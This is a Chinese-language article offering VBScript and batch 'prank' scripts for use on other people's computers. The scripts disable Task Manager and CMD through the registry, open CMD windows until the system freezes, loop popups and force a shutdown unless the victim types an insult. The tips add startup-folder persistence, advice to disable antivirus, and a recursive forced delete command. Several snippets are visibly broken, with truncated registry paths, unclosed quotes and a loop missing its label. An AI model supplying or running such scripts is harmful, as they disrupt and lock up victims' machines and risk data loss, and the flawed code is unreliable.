以下精选的整人代码多基于VBScript（VBS）和批处理（BAT）脚本实现，操作简单且效果“惊人”。使用时请务必遵守法律与道德规范，仅限测试或娱乐用途。所有代码均需保存为对应格式文件后运行，具体操作见示例。

一、系统干扰类

1. 强制关机循环

代码功能：60秒倒计时关机，禁用任务管理器和CMD，若未输入指定内容则无限循环关机。

vb

set s=createobject("wscript.shell")

s.regwrite "HKCU...DisableTaskMgr",1,"REG_DWORD

s.regwrite "HKCU...DisableCMD",1,"REG_DWORD

for i=1 to 60

s.popup "系统将在"& 60-i &"秒后关机...",1,"提示",4096+48

next

破解方法：重新运行一次代码即可解除。

2. 无限弹窗

代码功能：循环弹出无法关闭的对话框，需强制结束进程。

vb

do

msgbox "哈哈 你被耍了！

loop

停止方式：任务管理器结束 `wscript.exe` 进程。

3. CMD

代码效果：无限打开CMD窗口直至系统卡死。

bat

start

start cmd

goto start

停止方式：重启电脑或任务管理器结束所有 `cmd.exe` 进程。

二、硬件恶搞类

1. 光驱反复弹出

代码功能：持续弹出并关闭光驱。

vb

Set oWMP = CreateObject("WMPlayer.OCX.7")

do

oWMP.cdromCollection.Item(0).Eject

wscript.sleep 5000

loop

停止方式：结束 `wscript.exe` 进程。

2. 键盘灯闪烁

代码效果：CapsLock、NumLock等指示灯高频闪烁，模拟“灯光秀”。

vb

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}{NUMLOCK}{SCROLLLOCK}

loop

三、心理战整蛊

1. 舔狗表白程序

代码逻辑：强制用户输入指定文字（如“我是猪”）才能取消关机。

vb

dim a

do while(a <> "宝宝，我是天下第一大傻B")

a = inputbox("输入指定文字取消关机","提示","",8000,7000)

loop

shutdown -a

应用场景：适合朋友间趣味互动，但需注意对方接受度。

2. 甩不掉的对话框

代码效果：连续弹出50次对话框，要求用户逐一点击关闭。

vb

WScript.Echo("还剩49下，快点点哦")

WScript.Echo("还剩48下，快点，小！")

'...后续递减计数...

四、实用技巧与注意事项

1. 文件伪装与启动项

将脚本保存为 `.vbs`（VBScript）或 `.bat`（批处理）格式，例如 `shutdown.vbs`。

设置开机自启：将文件放入系统启动目录（`C:Users用户名AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup`）。

2. 安全风险提示

部分代码可能触发杀毒软件拦截，需临时禁用安全软件或添加信任。

危险操作示例：删除文件命令（`del d:. /f /q /s`）可能导致数据丢失，慎用。

3. 破解通用方法

强制终止进程：通过任务管理器结束 `wscript.exe` 或 `cmd.exe`。

注册表恢复：若禁用任务管理器，可手动修改注册表路径 `HKCU...DisableTaskMgr` 值为0。

以上代码展现了脚本语言的强大可玩性，但滥用可能引发法律纠纷或损害他人设备。建议仅在可控环境（如虚拟机）中测试。如需完整代码或更多创意（如Python整蛊程序、HTML弹窗陷阱），可参考来源网页。